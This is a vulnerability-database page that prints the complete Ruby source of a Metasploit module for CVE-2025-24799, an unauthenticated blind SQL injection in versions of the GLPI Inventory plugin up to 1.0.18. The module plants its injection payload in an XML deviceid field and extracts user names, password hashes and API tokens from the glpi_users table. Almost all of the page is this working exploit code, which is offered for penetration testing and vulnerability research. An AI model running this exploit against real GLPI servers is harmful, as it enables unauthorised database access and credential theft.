Lucene search
K

GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi

🗓️ 26 Mar 2025 18:50:42Reported by rz, jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 822 Views

GLPI Inventory Plugin allows unauthenticated SQL injection, exposing sensitive database data.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  class SqliObjectError < StandardError; end
  class TargetNotVulnerableError < StandardError; end

  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi',
        'Description' => %q{
          GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
          (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
          As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
          data from the backend database such as usernames and password hashes.

          In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the
          "Enable Inventory" radio button inside the administration configuration also must be checked.
        },
        'Author' => [
          'rz',        # Initial research
          'jheysel-r7' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://blog.lexfo.fr/glpi-sql-to-rce.html'],
          [ 'CVE', '2025-24799']
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2025-03-12',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The URL of the GLPI application', '/glpi/' ]),
      OptInt.new('MAX_ENTRIES', [ true, 'The maximum  number of entries to dump from the database. More entries will increase module runtime', 6 ])
    ])
  end

  def build_xml(payload)
    <<~EOF
      <?xml version="1.0" encoding="UTF-8"?>
      <xml>
        <QUERY>get_params</QUERY>
        <deviceid><![CDATA[', #{payload}#{', 0' * @extra_columns});#]]></deviceid>
      </xml>
    EOF
  end

  def send_request(payload)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php/ajax/'),
      'headers' => {
        'Content-Type' => 'application/xml'
      },
      'data' =>
         build_xml(payload)
    })
  end

  def verify_extra_columns
    (5..10).each do |extra_cols|
      @extra_columns = extra_cols
      if @sqli.test_vulnerable
        return true
      end
    end
    raise TargetNotVulnerableError, 'This target appears to not be vulnerable'
  end

  def check
    randnum = SecureRandom.random_number(1000)
    @extra_columns = 10
    res = send_request("select #{randnum}=#{randnum}")
    return Exploit::CheckCode::Safe('Inventory is disabled and needs to be enabled in order to be vulnerable') if res&.body == 'Inventory is disabled'

    begin
      @sqli = get_sqli_object
    rescue SQLExecutionError => e
      return Exploit::CheckCode::Unknown("#{e.class}: #{e.message}")
    end

    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    begin
      verify_extra_columns
    rescue TargetNotVulnerableError => e
      return Exploit::CheckCode::Safe("#{e.class}: #{e.message}")
    end
    Exploit::CheckCode::Vulnerable('Time based blind boolean injection succeeded')
  end

  def get_sqli_object
    create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
      res = send_request(payload)
      raise SqliObjectError, 'Module failed to create SQLi object' unless res
    end
  end

  def run
    @extra_columns = 10
    begin
      @sqli ||= get_sqli_object
    rescue SQLExecutionError => e
      fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
    end

    fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) unless @sqli

    begin
      verify_extra_columns
    rescue TargetNotVulnerableError => e
      fail_with(Failure::NoTarget, "#{e.class}: #{e.message}")
    end

    creds_table = Rex::Text::Table.new(
      'Header' => 'glpi_users',
      'Indent' => 1,
      'Columns' => %w[user password api_token]
    )

    print_status('Extracting credential information')

    users = @sqli.dump_table_fields('glpi_users', %w[name password api_token], '', datastore['MAX_ENTRIES'])

    users.each do |(user, password, api_token)|
      creds_table << [user, password, api_token]
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: user,
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(password),
        private_data: password,
        service_name: 'GLPI',
        address: datastore['RHOSTS'],
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED
      })
    end
    print_line creds_table.to_s
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 19:01Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.5 - 9.8
EPSS0.86182
SSVC
822